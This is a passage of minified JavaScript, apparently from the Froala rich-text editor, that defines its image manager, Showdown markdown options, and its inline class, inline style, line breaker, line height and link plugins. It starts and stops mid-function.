r(){i=l.find("#fr-preloader"),d=l.find("#fr-image-list"),f=l.find("#fr-modal-tags"),m=w(),A(),c.css("height",c.find(".fr-modal-head-line").outerHeight()),s.events.$on(v(s.o_win),"resize",function(){R(!!p)}),s.events.bindClick(d,".fr-insert-img",M),s.events.bindClick(d,".fr-delete-img",O),s.helpers.isMobile()&&(s.events.bindClick(d,"div.fr-image-container",function(e){l.find(".fr-mobile-selected").removeClass("fr-mobile-selected"),v(e.currentTarget).addClass("fr-mobile-selected")}),l.on(s._mousedown,function(){l.find(".fr-mobile-selected").removeClass("fr-mobile-selected")})),l.on(s._mousedown+" "+s._mouseup,function(e){e.stopPropagation()}),l.on(s._mousedown,"*",function(){s.events.disableBlur()}),o.on("scroll",_),s.events.bindClick(l,"button#fr-modal-more-".concat(s.sid),D),s.events.bindClick(f,"a",F)}(),function a(){i.show(),d.find(".fr-list-column").empty(),s.opts.imageManagerLoadURL?v(this).ajax({url:s.opts.imageManagerLoadURL,method:s.opts.imageManagerLoadMethod,data:s.opts.imageManagerLoadParams,crossDomain:s.opts.requestWithCORS,withCredentials:s.opts.requestWithCredentials,headers:s.opts.requestHeaders,done:function(e,t,n){s.events.trigger("imageManager.imagesLoaded",[e]),function r(e,t){try{d.find(".fr-list-column").empty(),g=h=u=0,p=JSON.parse(e),_()}catch(n){I(y,t)}}(e,n.response),i.hide()},fail:function(e){I(C,e.response||e.responseText)}}):I(E)}()},hide:function U(){s.modals.hide(b)}}},!kt.PLUGINS.image)throw new Error("Image manager plugin requires image plugin.");function A(e){var t={omitExtraWLInCodeBlocks:{defaultValue:!1,describe:"Omit the default extra whiteline added to code blocks",type:"boolean"},noHeaderId:{defaultValue:!1,describe:"Turn on/off generated header id",type:"boolean"},prefixHeaderId:{defaultValue:!1,describe:"Add a prefix to the generated header ids. Passing a string will prefix that string to the header id. Setting to true will add a generic 'section-' prefix",type:"string"},rawPrefixHeaderId:{defaultValue:!1,describe:'Setting this option to true will prevent showdown from modifying the prefix. This might result in malformed IDs (if, for instance, the " char is used in the prefix)',type:"boolean"},ghCompatibleHeaderId:{defaultValue:!1,describe:"Generate header ids compatible with github style (spaces are replaced with dashes, a bunch of non alphanumeric chars are removed)",type:"boolean"},rawHeaderId:{defaultValue:!1,describe:"Remove only spaces, ' and \" from generated header ids (including prefixes), replacing them with dashes (-). WARNING: This might result in malformed ids",type:"boolean"},headerLevelStart:{defaultValue:!1,describe:"The header blocks level start",type:"integer"},parseImgDimensions:{defaultValue:!1,describe:"Turn on/off image dimension parsing",type:"boolean"},simplifiedAutoLink:{defaultValue:!1,describe:"Turn on/off GFM autolink style",type:"boolean"},excludeTrailingPunctuationFromURLs:{defaultValue:!1,describe:"Excludes trailing punctuation from links generated with autoLinking",type:"boolean"},literalMidWordUnderscores:{defaultValue:!1,describe:"Parse midword underscores as literal underscores",type:"boolean"},literalMidWordAsterisks:{defaultValue:!1,describe:"Parse midword asterisks as literal asterisks",type:"boolean"},strikethrough:{defaultValue:!1,describe:"Turn on/off strikethrough support",type:"boolean"},tables:{defaultValue:!1,describe:"Turn on/off tables support",type:"boolean"},tablesHeaderId:{defaultValue:!1,describe:"Add an id to table headers",type:"boolean"},ghCodeBlocks:{defaultValue:!0,describe:"Turn on/off GFM fenced code blocks support",type:"boolean"},tasklists:{defaultValue:!1,describe:"Turn on/off GFM tasklist support",type:"boolean"},smoothLivePreview:{defaultValue:!1,describe:"Prevents weird effects in live previews due to incomplete input",type:"boolean"},smartIndentationFix:{defaultValue:!1,description:"Tries to smartly fix indentation in es6 strings",type:"boolean"},disableForced4SpacesIndentedSublists:{defaultValue:!1,description:"Disables the requirement of indenting nested sublists by 4 spaces",type:"boolean"},simpleLineBreaks:{defaultValue:!1,description:"Parses simple line breaks as <br> (GFM Style)",type:"boolean"},requireSpaceBeforeHeadingText:{defaultValue:!1,description:"Makes adding a space between `#` and the header text mandatory (GFM Style)",type:"boolean"},ghMentions:{defaultValue:!1,description:"Enables github @mentions",type:"boolean"},ghMentionsLink:{defaultValue:"https://github.com/{u}",description:"Changes the link generated by @mentions. Only applies if ghMentions option is enabled.",type:"string"},encodeEmails:{defaultValue:!0,description:"Encode e-mail addresses through the use of Character Entities, transforming ASCII e-mail addresses into its equivalent decimal entities",type:"boolean"},openLinksInNewWindow:{defaultValue:!1,description:"Open all links in new windows",type:"boolean"},backslashEscapesHTMLTags:{defaultValue:!1,description:"Support for HTML Tag escaping. ex: <div>foo</div>",type:"boolean"},emoji:{defaultValue:!1,description:"Enable emoji support. Ex: `this is a :smile: emoji`",type:"boolean"},underline:{defaultValue:!1,description:"Enable support for underline. Syntax is double or triple underscores: `__underline word__`. With this option enabled, underscores no longer parses into `<em>` and `<strong>`",type:"boolean"},completeHTMLDocument:{defaultValue:!1,description:"Outputs a complete html document, including `<html>`, `<head>` and `<body>` tags",type:"boolean"},metadata:{defaultValue:!1,description:"Enable support for document metadata (defined at the top of the document between `\xab\xab\xab` and `\xbb\xbb\xbb` or between `---` and `---`).",type:"boolean"},splitAdjacentBlockquotes:{defaultValue:!1,description:"Split adjacent blockquote blocks",type:"boolean"}};if(!1===e)return JSON.parse(JSON.stringify(t));var n={};for(var r in t)t.hasOwnProperty(r)&&(n[r]=t[r].defaultValue);return n}kt.DEFAULTS.imageInsertButtons.push("imageManager"),kt.RegisterCommand("imageManager",{title:"Browse",undo:!1,focus:!1,modal:!0,callback:function(){this.imageManager.show()},plugin:"imageManager"}),kt.DefineIcon("imageManager",{NAME:"folder",SVG_KEY:"imageManager"}),kt.DefineIcon("imageManagerInsert",{NAME:"plus",SVG_KEY:"add"}),kt.DefineIcon("imageManagerDelete",{NAME:"trash",SVG_KEY:"remove"}),Object.assign(kt.DEFAULTS,{inlineClasses:{"fr-class-code":"Code","fr-class-highlighted":"Highlighted","fr-class-transparency":"Transparent"}}),kt.PLUGINS.inlineClass=function(n){var r=n.$;return{apply:function t(e){n.format.toggle("span",{"class":e})},refreshOnShow:function a(e,t){t.find(".fr-command").each(function(){var e=r(this).data("param1"),t=n.format.is("span",{"class":e});r(this).toggleClass("fr-active",t).attr("aria-selected",t)})}}},kt.RegisterCommand("inlineClass",{type:"dropdown",title:"Inline Class",html:function(){var e='<ul class="fr-dropdown-list" role="presentation">',t=this.opts.inlineClasses;for(var n in t)t.hasOwnProperty(n)&&(e+='<li role="presentation"><a class="fr-command" tabIndex="-1" role="option" data-cmd="inlineClass" data-param1="'.concat(n,'" title="').concat(t[n],'">').concat(t[n],"</a></li>"));return e+="</ul>"},callback:function(e,t){this.inlineClass.apply(t)},refreshOnShow:function(e,t){this.inlineClass.refreshOnShow(e,t)},plugin:"inlineClass"}),kt.DefineIcon("inlineClass",{NAME:"tag",SVG_KEY:"inlineClass"}),Object.assign(kt.DEFAULTS,{inlineStyles:{"Big Red":"font-size: 20px; color: red;","Small Blue":"font-size: 14px; color: blue;"}}),kt.PLUGINS.inlineStyle=function(a){return{apply:function o(e){for(var t=e.split(";"),n=0;n<t.length;n++){var r=t[n].split(":");t[n].length&&2==r.length&&a.format.applyStyle(r[0].trim(),r[1].trim())}}}},kt.RegisterCommand("inlineStyle",{type:"dropdown",html:function(){var e='<ul class="fr-dropdown-list" role="presentation">',t=this.opts.inlineStyles;for(var n in t)if(t.hasOwnProperty(n)){var r=t[n]+(-1===t[n].indexOf("display:block;")?" display:block;":"");e+='<li role="presentation"><span style="'.concat(r,'" role="presentation"><a class="fr-command" tabIndex="-1" role="option" data-cmd="inlineStyle" data-param1="').concat(t[n],'" title="').concat(this.language.translate(n),'">').concat(this.language.translate(n),"</a></span></li>")}return e+="</ul>"},title:"Inline Style",callback:function(e,t){this.inlineStyle.apply(t)},plugin:"inlineStyle"}),kt.DefineIcon("inlineStyle",{NAME:"paint-brush",SVG_KEY:"inlineStyle"}),Object.assign(kt.DEFAULTS,{lineBreakerTags:["table","hr","form","dl","span.fr-video",".fr-embedly","img"],lineBreakerOffset:15,lineBreakerHorizontalOffset:10}),kt.PLUGINS.lineBreaker=function(h){var g,t,a,m=h.$;function l(e,t){var n,r,a,o,i,s,l,c;if(null==e)i=(o=t.parent()).offset().top,n=(l=t.offset().top)-Math.min((l-i)/2,h.opts.lineBreakerOffset),a=o.outerWidth(),r=o.offset().left;else if(null==t)(s=(o=e.parent()).offset().top+o.outerHeight())<(c=e.offset().top+e.outerHeight())&&(s=(o=m(o).parent()).offset().top+o.outerHeight()),n=c+Math.min(Math.abs(s-c)/2,h.opts.lineBreakerOffset),a=o.outerWidth(),r=o.offset().left;else{o=e.parent();var d=e.offset().top+e.height(),f=t.offset().top;if(f<d)return!1;n=(d+f)/2,a=o.outerWidth(),r=o.offset().left}if(h.opts.iframe){var p=h.helpers.getPX(h.$wp.find(".fr-iframe").css("padding-top")),u=h.helpers.getPX(h.$wp.find(".fr-iframe").css("padding-left"));r+=h.$iframe.offset().left-h.helpers.scrollLeft()+u,n+=h.$iframe.offset().top-h.helpers.scrollTop()+p}h.$box.append(g),g.css("top",n-h.win.pageYOffset),g.css("left",r-h.win.pageXOffset),g.css("width",a),g.data("tag1",e),g.data("tag2",t),g.addClass("fr-visible").data("instance",h)}function c(e){if(e){var t=m(e);if(0===h.$el.find(t).length)return null;if(e.nodeType!=Node.TEXT_NODE&&t.is(h.opts.lineBreakerTags.join(",")))return t;if(0<t.parents(h.opts.lineBreakerTags.join(",")).length)return e=t.parents(h.opts.lineBreakerTags.join(",")).get(0),0!==h.$el.find(m(e)).length&&m(e).is(h.opts.lineBreakerTags.join(","))?m(e):null}return null}function o(e,t){var n=h.doc.elementFromPoint(e,t);return n&&!m(n).closest(".fr-line-breaker").length&&!h.node.isElement(n)&&n!=h.$wp.get(0)&&function r(e){if("undefined"!=typeof e.inFroalaWrapper)return e.inFroalaWrapper;for(var t=e;e.parentNode&&e.parentNode!==h.$wp.get(0);)e=e.parentNode;return t.inFroalaWrapper=e.parentNode==h.$wp.get(0),t.inFroalaWrapper}(n)?n:null}function i(e,t,n){for(var r=n,a=null;r<=h.opts.lineBreakerOffset&&!a;)(a=o(e,t-r))||(a=o(e,t+r)),r+=n;return a}function d(e,t,n){for(var r=null,a=100;!r&&e>h.$box.offset().left&&e<h.$box.offset().left+h.$box.outerWidth()&&0<a;)(r=o(e,t))||(r=i(e,t,5)),"left"==n?e-=h.opts.lineBreakerHorizontalOffset:e+=h.opts.lineBreakerHorizontalOffset,a-=h.opts.lineBreakerHorizontalOffset;return r}function n(e){var t=a=null,n=null,r=h.doc.elementFromPoint(e.pageX-h.win.pageXOffset,e.pageY-h.win.pageYOffset);(t=r&&("HTML"==r.tagName||"BODY"==r.tagName||h.node.isElement(r)||0<=(r.getAttribute("class")||"").indexOf("fr-line-breaker"))?((n=i(e.pageX-h.win.pageXOffset,e.pageY-h.win.pageYOffset,1))||(n=d(e.pageX-h.win.pageXOffset-h.opts.lineBreakerHorizontalOffset,e.pageY-h.win.pageYOffset,"left")),n||(n=d(e.pageX-h.win.pageXOffset+h.opts.lineBreakerHorizontalOffset,e.pageY-h.win.pageYOffset,"right")),c(n)):c(r))?function s(e,t){var n,r,a=e.offset().top,o=e.offset().top+e.outerHeight();if(Math.abs(o-t)<=h.opts.lineBreakerOffset||Math.abs(t-a)<=h.opts.lineBreakerOffset)if(Math.abs(o-t)<Math.abs(t-a)){var i=null;for((r=e.get(0)).nextSibling&&(i=r.nextSibling.offsetParent?r.nextSibling:null);i&&i.nodeType==Node.TEXT_NODE&&0===i.textContent.length;)i=i.nextSibling;if(!i)return l(e,null),!0;if(n=c(i))return l(e,n),!0}else{if(!(r=e.get(0)).previousSibling)return l(null,e),!0;if(n=c(r.previousSibling))return l(n,e),!0}g.removeClass("fr-visible").removeData("instance")}(t,e.pageY):h.core.sameInstance(g)&&g.removeClass("fr-visible").removeData("instance")}function r(e){return!(g.hasClass("fr-visible")&&!h.core.sameInstance(g))&&(h.popups.areVisible()||h.el.querySelector(".fr-selected-cell")?(g.removeClass("fr-visible"),!0):void(!1!==t||h.edit.isDisabled()||(a&&clearTimeout(a),a=setTimeout(n,30,e))))}function s(){a&&clearTimeout(a),g&&g.hasClass("fr-visible")&&g.removeClass("fr-visible").removeData("instance")}var f=function f(){t=!0,s()},p=function p(){t=!1};function u(e){e.preventDefault();var t=g.data("instance")||h;g.removeClass("fr-visible").removeData("instance");var n=g.data("tag1"),r=g.data("tag2"),a=h.html.defaultTag();if(null==n)if(h.opts.keepTextFormatOnTable&&r.children().get(0)!=undefined&&"TBODY"==r.children().get(0).tagName){var o=r.find("span"),i=null!=o[o.length-1]?o[o.length-1].getAttribute("style"):null,s=null!=i?"<"+o[o.length-1].nodeName.toLowerCase()+' style="'+i+'">':"<"+r.parent().get(0).nodeName.toLowerCase()+">",l=null!=i?"</"+o[o.length-1].nodeName.toLowerCase()+">":"</"+r.parent().get(0).nodeName.toLowerCase()+">";a?r.before("<".concat(a,">").concat(s).concat(kt.MARKERS,"<br>").concat(l,"</").concat(a,">")):r.before("".concat(s).concat(kt.MARKERS,"<br>").concat(l))}else a&&"TD"!=r.parent().get(0).tagName&&0===r.parents(a).length?r.before("<".concat(a,">").concat(kt.MARKERS,"<br></").concat(a,">")):r.before("".concat(kt.MARKERS,"<br>"));else if(h.opts.keepTextFormatOnTable&&n.children().get(0)!=undefined&&"TBODY"==n.children().get(0).tagName){var c=n.find("span"),d=null!=c[c.length-1]?c[c.length-1].getAttribute("style"):null,f=null!=d?"<"+c[c.length-1].nodeName.toLowerCase()+' style="'+d+'">':"<"+n.parent().get(0).nodeName.toLowerCase()+">",p=null!=d?"</"+c[c.length-1].nodeName.toLowerCase()+">":"</"+n.parent().get(0).nodeName.toLowerCase()+">";a?n.after("<".concat(a,">").concat(f).concat(kt.MARKERS,"<br>").concat(p,"</").concat(a,">")):n.after("".concat(f).concat(kt.MARKERS,"<br>").concat(p))}else a&&"TD"!=n.parent().get(0).tagName&&0===n.parents(a).length?n.after("<".concat(a,">").concat(kt.MARKERS,"<br></").concat(a,">")):n.after("".concat(kt.MARKERS,"<br>"));t.selection.restore(),h.toolbar.enable()}return{_init:function v(){if(!h.$wp)return!1;!function e(){h.shared.$line_breaker||(h.shared.$line_breaker=m(document.createElement("div")).attr("class","fr-line-breaker").html('<a class="fr-floating-btn" role="button" tabIndex="-1" title="'.concat(h.language.translate("Break"),'"><svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24"><rect x="17" y="7" width="2" height="8"/><rect x="10" y="13" width="7" height="2"/><path d="M10.000,10.000 L10.000,18.013 L5.000,14.031 L10.000,10.000 Z"/></svg></a>'))),g=h.shared.$line_breaker,h.events.on("shared.destroy",function(){g.html("").removeData().remove(),g=null},!0),h.events.on("destroy",function(){g.removeData("instance").removeClass("fr-visible"),m("body").first().append(g),clearTimeout(a)},!0),h.events.$on(g,"mousemove",function(e){e.stopPropagation()},!0),h.events.bindClick(g,"a",u)}(),t=!1,h.events.$on(h.$win,"mousemove",r),h.events.$on(m(h.win),"scroll",s),h.events.on("popups.show.table.edit",s),h.events.on("commands.after",s),h.events.$on(m(h.win),"mousedown",f),h.events.$on(m(h.win),"mouseup",p)}}},Object.assign(kt.DEFAULTS,{lineHeights:{Default:"",Single:"1",1.15:"1.15",1.5:"1.5",Double:"2"}}),kt.PLUGINS.lineHeight=function(r){var s=r.$;return{_init:function e(){},apply:function a(e){r.selection.save(),r.html.wrap(!0,!0,!0,!0),r.selection.restore();var t=r.selection.blocks();t.length&&s(t[0]).parent().is("td")&&r.format.applyStyle("line-height",e.toString()),r.selection.save();for(var n=0;n<t.length;n++)s(t[n]).css("line-height",e),r.opts.enter!==kt.ENTER_BR||t.length&&s(t[0]).parent().is("td")||(s(t[n]).hasClass("fr-temp-div")&&s(t[n]).removeClass("fr-temp-div"),""===s(t[n]).attr("class")&&s(t[n]).removeAttr("class")),""===s(t[n]).attr("style")&&s(t[n]).removeAttr("style");r.html.unwrap(),r.selection.restore()},refreshOnShow:function o(e,t){var n=r.selection.blocks();if(n.length){var i=s(n[0]);t.find(".fr-command").each(function(){var e=s(this).data("param1"),t=i.attr("style"),n=0<=(t||"").indexOf("line-height: "+e+";");if(t){var r=t.substring(t.indexOf("line-height")),a=r.substr(0,r.indexOf(";")),o=a&&a.split(":")[1];o&&o.length||"Default"!==i.text()||(n=!0)}t&&-1!==t.indexOf("line-height")||""!==e||(n=!0),s(this).toggleClass("fr-active",n).attr("aria-selected",n)})}}}},kt.RegisterCommand("lineHeight",{type:"dropdown",html:function(){var e='<ul class="fr-dropdown-list" role="presentation">',t=this.opts.lineHeights;for(var n in t)t.hasOwnProperty(n)&&(e+='<li role="presentation"><a class="fr-command '.concat(n,'" tabIndex="-1" role="option" data-cmd="lineHeight" data-param1="').concat(t[n],'" title="').concat(this.language.translate(n),'">').concat(this.language.translate(n),"</a></li>"));return e+="</ul>"},title:"Line Height",callback:function(e,t){this.lineHeight.apply(t)},refreshOnShow:function(e,t){this.lineHeight.refreshOnShow(e,t)},plugin:"lineHeight"}),kt.DefineIcon("lineHeight",{NAME:"arrows-v",FA5NAME:"arrows-alt-v",SVG_KEY:"lineHeight"}),Object.assign(kt.POPUP_TEMPLATES,{"link.edit":"[_BUTTONS_]","link.insert":"[_BUTTONS_][_INPUT_LAYER_]"}),Object.assign(kt.DEFAULTS,{linkEditButtons:["linkOpen","linkStyle","linkEdit","linkRemove"],linkInsertButtons:["linkBack","|","linkList"],linkAttributes:{},linkAutoPrefix:"http://",linkStyles:{"fr-green":"Green","fr-strong":"Thick"},linkMultipleStyles:!0,linkConvertEmailAddress:!0,linkAlwaysBlank:!1,linkAlwaysNoFollow:!1,linkNoOpener:!0,linkNoReferrer:!0,linkList:[{text:"Froala",href:"https://froala.com",target:"_blank"},{text:"Google",href:"https://google.com",target:"_blank"},{displayText:"Facebook",href:"https://facebook.com"}],linkText:!0}),kt.PLUGINS.link=function(m){var v=m.$;function b(){var e=m.image?m.image.get():null;if(e||!m.$wp)return"A"==m.el.tagName?m.el:e&&e.get(0).parentNode&&"A"==e.get(0).parentNode.tagName?e.get(0).parentNode:void 0;var t=m.selection.ranges(0).commonAncestorContainer;try{t&&(t.contains&&t.contains(m.el)||!m.el.contains(t)||m.el==t)&&(t=null)}catch(i){t=null}if(t&&"A"===t.tagName)return t;var n,r,a=m.selection.element(),o=m.selection.endElement();"A"==a.tagName||m.node.isElement(a)||(a=m.opts.iframe&&null!==(n=m.markdown)&&void 0!==n&&n.isEnabled?null:v(a).parentsUntil(m.$el,"a").first().get(0));"A"==o.tagName||m.node.isElement(o)||(o=m.opts.iframe&&null!==(r=m.markdown)&&void 0!==r&&r.isEnabled?null:v(o).parentsUntil(m.$el,"a").first().get(0));try{o&&(o.contains&&o.contains(m.el)||!m.el.contains(o)||m.el==o)&&(o=null)}catch(i){o=null}try{a&&(a.contains&&a.contains(m.el)||!m.el.contains(a)||m.el==a)&&(a=null)}catch(i){a=null}return o&&o==a&&"A"==o.tagName?(m.browser.msie||m.helpers.isMobile())&&(m.selection.info(a).atEnd||m.selection.info(a).atStart)?null:a:null}function C(){var e,t,n,r,a=m.image?m.image.get():null,o=[];if(a)"A"==a.get(0).parentNode.tagName&&o.push(a.get(0).parentNode);else if(m.win.getSelection){var i=m.win.getSelection();if(i.getRangeAt&&i.rangeCount){r=m.doc.createRange();for(var s=0;s<i.rangeCount;++s)if((t=(e=i.getRangeAt(s)).commonAncestorContainer)&&1!=t.nodeType&&(t=t.parentNode),t&&"a"==t.nodeName.toLowerCase())o.push(t);else{n=t.getElementsByTagName("a");for(var l=0;l<n.length;++l)r.selectNodeContents(n[l]),r.compareBoundaryPoints(e.END_TO_START,e)<1&&-1<r.compareBoundaryPoints(e.START_TO_END,e)&&o.push(n[l])}}}else if(m.doc.selection&&"Control"!=m.doc.selection.type)if("a"==(t=(e=m.doc.selection.createRange()).parentElement()).nodeName.toLowerCase())o.push(t);else{n=t.getElementsByTagName("a"),r=m.doc.body.createTextRange();for(var c=0;c<n.length;++c)r.moveToElementText(n[c]),-1<r.compareEndPoints("StartToEnd",e)&&r.compareEndPoints("EndToStart",e)<1&&o.push(n[c])}return o}function E(a){if(m.core.hasFocus()||m.opts.iframe&&(!document.hasFocus||document.hasFocus())){if(o(),a&&"keyup"===a.type&&(a.altKey||a.which==kt.KEYCODE.ALT))return!0;setTimeout(function(){if(!a||a&&(1==a.which||"mouseup"!=a.type)){var e=b(),t=m.image?m.image.get():null;if(e&&!t){if(m.image){var n=m.node.contents(e);if(1==n.length&&"IMG"==n[0].tagName){var r=m.selection.ranges(0);return 0===r.startOffset&&0===r.endOffset?v(e).before(kt.INVISIBLE_SPACE+kt.MARKERS):v(e).after(kt.INVISIBLE_SPACE+kt.MARKERS),m.selection.restore(),!1}}a&&a.stopPropagation(),i(e)}}},m.helpers.isIOS()?100:0)}}function i(e){var t=m.popups.get("link.edit");t||(t=function o(){var e="";1<=m.opts.linkEditButtons.length&&("A"==m.el.tagName&&0<=m.opts.linkEditButtons.indexOf("linkRemove")&&m.opts.linkEditButtons.splice(m.opts.linkEditButtons.indexOf("linkRemove"),1),e='<div class="fr-buttons">'.concat(m.button.buildList(m.opts.linkEditButtons),"</div>"));var t={buttons:e},n=m.popups.create("link.edit",t);m.$wp&&m.events.$on(m.$wp,"scroll.link-edit",function(){b()&&m.popups.isVisible("link.edit")&&i(b())});return n}());var n=v(e);m.popups.isVisible("link.edit")||m.popups.refresh("link.edit"),m.popups.setContainer("link.edit",m.$sc);var r=n.offset().left+n.outerWidth()/2,a=n.offset().top+n.outerHeight();m.popups.show("link.edit",r,a,n.outerHeight(),!0)}function o(){m.popups.hide("link.edit")}function l(){var e=m.popups.get("link.insert"),t=b();if(t){var n,r,a=v(t),o=e.find('input.fr-link-attr[type="text"]'),i=e.find('input.fr-link-attr[type="checkbox"]');for(n=0;n<o.length;n++)(r=v(o[n])).val(a.attr(r.attr("name")||""));for(i.attr("checked",!1),n=0;n<i.length;n++)r=v(i[n]),a.attr(r.attr("name"))==r.data("checked")&&r.attr("checked",!0);e.find('input.fr-link-attr[type="text"][name="text"]').val(a.text())}else e.find('input.fr-link-attr[type="text"]').val(""),e.find('input.fr-link-attr[type="checkbox"]').attr("checked",!1),e.find('input.fr-link-attr[type="text"][name="text"]').val(m.selection.text());e.find("input.fr-link-attr").trigger("change"),(m.image?m.image.get():null)?e.find('.fr-link-attr[name="text"]').parent().hide():e.find('.fr-link-attr[name="text"]').parent().show()}function s(e){if(e)return m.popups.onRefresh("link.insert",l),!0;var t="";1<=m.opts.linkInsertButtons.length&&(t='<div class="fr-buttons fr-tabs">'.concat(m.button.buildList(m.opts.linkInsertButtons),"</div>"));var n="",r=0;for(var a in n='<div class="fr-link-insert-layer fr-layer fr-active" id="fr-link-insert-layer-'.concat(m.id,'">'),n+='<div class="fr-input-line"><input id="fr-link-insert-layer-url-'.concat(m.id,'" name="href" type="text" class="fr-link-attr" placeholder="').concat(m.language.translate("URL"),'" tabIndex="').concat(++r,'"></div>'),m.opts.linkText&&(n+='<div class="fr-input-line"><input id="fr-link-insert-layer-text-'.concat(m.id,'" name="text" type="text" class="fr-link-attr" placeholder="').concat(m.language.translate("Text"),'" tabIndex="').concat(++r,'"></div>')),m.opts.linkAttributes)if(m.opts.linkAttributes.hasOwnProperty(a)){var o=m.opts.linkAttributes[a];n+='<div class="fr-input-line"><input name="'.concat(a,'" type="text" class="fr-link-attr" placeholder="').concat(m.language.translate(o),'" tabIndex="').concat(++r,'"></div>')}m.opts.linkAlwaysBlank||(n+='<div class="fr-checkbox-line"><span class="fr-checkbox"><input name="target" class="fr-link-attr" data-checked="_blank" type="checkbox" id="fr-link-target-'.concat(m.id,'" tabIndex="').concat(++r,'"><span>').concat('<svg version="1.1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="10" height="10" viewBox="0 0 32 32"><path d="M27 4l-15 15-7-7-5 5 12 12 20-20z" fill="#FFF"></path></svg>','</span></span><label id="fr-label-target-').concat(m.id,'">').concat(m.language.translate("Open in new tab"),"</label></div>"));var i={buttons:t,input_layer:n+='<div class="fr-action-buttons"><button class="fr-command fr-submit" role="button" data-cmd="linkInsert" href="#" tabIndex="'.concat(++r,'" type="button">').concat(m.language.translate("Insert"),"</button></div></div>")},s=m.popups.create("link.insert",i);return m.$wp&&m.events.$on(m.$wp,"scroll.link-insert",function(){(m.image?m.image.get():null)&&m.popups.isVisible("link.insert")&&f(),m.popups.isVisible("link.insert")&&d()}),s}function c(e,t,n){if(m.opts.trackChangesEnabled){if(m.edit.on(),m.events.focus(!0),m.undo.saveStep(),m.markers.insert(),m.html.wrap(),!m.$el.find(".fr-marker").length)return void m.popups.hide("link.insert");m.markers.remove()}if(void 0===n&&(n={}),!1===m.events.trigger("link.beforeInsert",[e,t,n]))return!1;var r=m.image?m.image.get():null;r||"A"==m.el.tagName?"A"==m.el.tagName&&m.$el.focus():(m.selection.restore(),m.popups.hide("link.insert"));var a=e;m.opts.linkConvertEmailAddress&&m.helpers.isEmail(e)&&!/^mailto:.*/i.test(e)&&(e="mailto:".concat(e));if(""===m.opts.linkAutoPrefix||new RegExp("^("+kt.LinkProtocols.join("|")+"):.","i").test(e)||/^data:image.*/i.test(e)||/^(https?:|ftps?:|file:|)\/\//i.test(e)||/^([A-Za-z]:(\\){1,2}|[A-Za-z]:((\\){1,2}[^\\]+)+)(\\)?$/i.test(e)||["/","{","[","#","(",".",'"',"\\"].indexOf((e||"")[0])<0&&(e=m.opts.linkAutoPrefix+e),e=m.helpers.sanitizeURL(e),m.opts.linkAlwaysBlank&&(n.target="_blank"),m.opts.linkAlwaysNoFollow&&(n.rel="nofollow"),m.helpers.isEmail(a)&&(n.target=null,n.rel=null),"_blank"==n.target?(m.opts.linkNoOpener&&(n.rel?n.rel+=" noopener":n.rel="noopener"),m.opts.linkNoReferrer&&(n.rel?n.rel+=" noreferrer":n.rel="noreferrer")):null==n.target&&(n.rel?n.rel=n.rel.replace(/noopener/,"").replace(/noreferrer/,""):n.rel=null),t=t||"",e===m.opts.linkAutoPrefix)return m.popups.get("link.insert").find('input[name="href"]').addClass("fr-error"),m.events.trigger("link.bad",[a]),!1;var o,i=b();if(i){if((o=v(i)).attr("href",e),0<t.length&&o.text()!=t&&!r){if(m.opts.trackChangesEnabled){var s=v(o.get(0).outerHTML);s.insertBefore(o.parent());var l=m.track_changes.wrapLinkInTracking(s,m.track_changes.getPendingChanges().length-1),c=m.track_changes.wrapInDelete(l);o.parent().append(c)}for(var d=o.get(0);1===d.childNodes.length&&d.childNodes[0].nodeType==Node.ELEMENT_NODE;)d=d.childNodes[0];v(d).text(t)}for(var f in r||o.prepend(kt.START_MARKER).append(kt.END_MARKER),n)n[f]?o.attr(f,n[f]):o.removeAttr(f);r||m.selection.restore()}else{r?(r.wrap('<a href="'.concat(e,'"></a>')),m.image.hasCaption()&&r.parent().append(r.parents(".fr-img-caption").find(".fr-inner"))):(m.format.remove("a"),m.selection.isCollapsed()?(t=0===t.length?a:t,m.html.insert('<a href="'.concat(e,'">').concat(kt.START_MARKER).concat(t.replace(/&/g,"&").replace(/</g,"<").replace(/>/g,">")).concat(kt.END_MARKER,"</a>")),m.selection.restore()):0<t.length&&t!=m.selection.text().replace(/\n/g,"")?(m.selection.remove(),m.html.insert('<a href="'.concat(e,'">').concat(kt.START_MARKER).concat(t.replace(/&/g,"&")).concat(kt.END_MARKER,"</a>")),m.selection.restore()):(!function g(){if(!m.selection.isCollapsed()){m.selection.save();for(var e=m.$el.find(".fr-marker").addClass("fr-unprocessed").toArray();e.length;){var t=v(e.pop());t.removeClass("fr-unprocessed");var n=m.node.deepestParent(t.get(0));if(n){for(var r=t.get(0),a="",o="";r=r.parentNode,m.node.isBlock(r)||(a+=m.node.closeTagString(r),o=m.node.openTagString(r)+o),r!=n;);var i=m.node.openTagString(t.get(0))+t.html()+m.node.closeTagString(t.get(0));t.replaceWith('<span id="fr-break"></span>');var s=n.outerHTML;s=(s=s.replace(/<span id="fr-break"><\/span>/g,a+i+o)).replace(o+a,""),n.outerHTML=s}e=m.$el.find(".fr-marker.fr-unprocessed").toArray()}m.html.cleanEmptyTags(),m.selection.restore()}}(),m.format.apply("a",{href:e})));for(var p=C(),u=0;u<p.length;u++)(o=v(p[u])).attr(n),o.removeAttr("_moz_dirty");1==p.length&&m.$wp&&!r&&(v(p[0]).prepend(kt.START_MARKER).append(kt.END_MARKER),m.selection.restore())}if(r){var h=m.popups.get("link.insert");h&&h.find("input:focus").blur(),m.image.edit(r)}else E()}function d(){o();var e=b();if(e){var t=m.popups.get("link.insert");t||(t=s()),m.popups.isVisible("link.insert")||(m.popups.refresh("link.insert"),m.selection.save(),m.helpers.isMobile()&&(m.events.disableBlur(),m.$el.blur(),m.events.enableBlur())),m.popups.setContainer("link.insert",m.$sc);var n=(m.image?m.image.get():null)||v(e),r=n.offset().left+n.outerWidth()/2,a=n.offset().top+n.outerHeight();m.popups.show("link.insert",r,a,n.outerHeight(),!0)}}function f(){var e=m.image?m.image.getEl():null;if(e){var t=m.popups.get("link.insert"),n=e.outerWidth()/2;m.image.hasCaption()&&(e=e.find(".fr-img-wrap"),v(e)&&v(e).find("img")&&(n=v(e).find("img").outerWidth()/2)),t||(t=s()),l(),m.popups.setContainer("link.insert",m.$sc);var r=e.offset().left+n,a=e.offset().top+e.outerHeight(),o=e.outerHeight();m.opts.iframe&&m.image.hasCaption()&&v(e)&&v(e).find("img")&&(o=v(e).find("img").outerHeight()),m.popups.show("link.insert",r,a,o,!0)}}return{_init:function 